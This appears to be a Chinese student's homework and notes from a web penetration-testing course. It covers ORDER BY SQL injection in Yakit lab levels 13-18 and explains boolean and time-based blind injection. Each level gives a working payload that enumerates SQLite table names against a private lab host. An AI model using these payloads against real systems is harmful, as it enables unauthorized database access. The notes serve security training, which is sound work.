|
WEB渗透测试工程师系统班250303期 第16节课作业
1. 实际操作课堂讲解的yakit sql注入靶场,截图 第13关:ORDER注入:单个条件排序位于 LIMIT 之前 查询语法: select * from vulin_users where (username LIKE '%a%') ORDER BY username desc LIMIT 5; payload: desc;select group_concat(tbl_name) from sqlite_master where type='table' -- 爆出表名
第14关:ORDER注入:多条件排序位于 LIMIT 之前 查询语法: "select * from vulin_users where (username LIKE '%a%') ORDER BY username desc, created_at LIMIT 5;" url: http://192.168.10.104:8787/user/limit/4/order2?order=desc&debug=1 注入点在desc payload: desc;select group_concat(tbl_name) from sqlite_master where type='table' -- 爆出表名
第15关:注入:多条件排序位(无LIMIT) 查询语法: "select * from vulin_users where (username LIKE '%a%') ORDER BY created_at desc, username desc;" url: http://192.168.10.104:8787/user/order3?order=desc&debug=1 注入点在desc payload: desc;select group_concat(tbl_name) from sqlite_master where type='table' --
第16关:ORDERBY 注入:多字段 查询语法: "select * from vulin_users where (username LIKE '%a%') ORDER BY username desc LIMIT 5;" url: http://192.168.10.104:8787/user/limit/4/orderby?orderby=username&debug=1 注入点在username payload: desc;select group_concat(tbl_name) from sqlite_master where type='table' --
第17关:ORDER BY注入:反引号+排序 查询语法: "select * from vulin_users where (username LIKE '%a%') ORDER BY `id` desc LIMIT 5;" url: http://192.168.10.104:8787/user/limit/4/orderby1?orderby=id&debug=1 注入点在id payload: id`;select group_concat(tbl_name) from sqlite_master where type='table' --
第18关:ORDER BY 注入:反引号+多字段 查询语法: "select * from vulin_users where (username LIKE '%a%') ORDER BY `id`,created_at LIMIT 5;" url: http://192.168.10.104:8787/user/limit/4/orderby2?orderby=id&debug=1 payload: id`;select group_concat(tbl_name) from sqlite_master where type='table' --
2. 布尔盲注的原理是什么 布尔盲注(Boolean-Based Blind SQL Injection) 是 SQL 注入的一种技术,用于在 无法直接获取数据库内容(例如无数据回显、无报错信息)的场景下,通过观察应用程序对 真(True) 和 假(False) 条件的响应差异,逐步推断出数据库中的数据。 核心原理 1.条件分支触发差异 攻击者构造一个 SQL 查询,通过 AND/OR 等逻辑运算符附加一个布尔条件(例如 1=1 或 1=2),观察应用程序的响应是否发生变化(如页面内容、HTTP 状态码、响应时间等)。 2.逐位/逐字符推断 通过布尔条件逐个判断目标数据的二进制位(Bit)或字符值。例如: 判断数据库名的第一个字符是否为 'a'。 3. 时间盲注的原理是什么 时间盲注(Time-Based Blind SQL Injection) 是 SQL 注入的一种高级技术,适用于 无任何数据回显、无报错信息、甚至布尔条件也无法触发页面差异 的场景。其核心原理是通过 数据库延时操作,利用响应时间的差异间接判断 SQL 条件的真假,从而推断目标数据。 核心原理 1.条件触发延时 攻击者构造一个 SQL 查询,通过条件语句控制是否触发延时函数(如 SLEEP(2))。若条件为真,则数据库执行延时;若为假,则立即返回。通过对比响应时间的长短,推断条件是否成立。 2.逐位/逐字符推断 与布尔盲注类似,攻击者需要逐字符猜测目标数据(如数据库名、表名、字段值),但通过延时而非页面内容差异完成判断。
一、笔记标题:WEB渗透系统班-order by 注入+布尔&时间盲注
二、文章内容:
1. 课程内容概要
主要知识点1:sql靶场13-18关 判断注入点,看查询语法,选择payload
主要知识点2:布尔盲注
主要知识点3:时间盲注
2.重点知识与细节
概念解析
概念1: group_concat()概念
功能:将多行数据中的 tbl_name 字段值合并成一个字符串。 输入:多行数据(例如多个表名)。
输出:一个单行字符串,包含所有值,默认用逗号分隔。
关键步骤(打sql靶场)
步骤1:看查询语法
步骤2:看url判断逐日点
步骤3:payload打入
相关代码 查询表名:desc;select group_concat(tbl_name) from sqlite_master where type='table' --
3.实操练习和解析
如作业
4.个人总结
本节课最大的收获是:学习了更多SQL注入的场景
仍然存在疑问的地方:暂无
需要课后深入学习的内容:更多的场景吧
|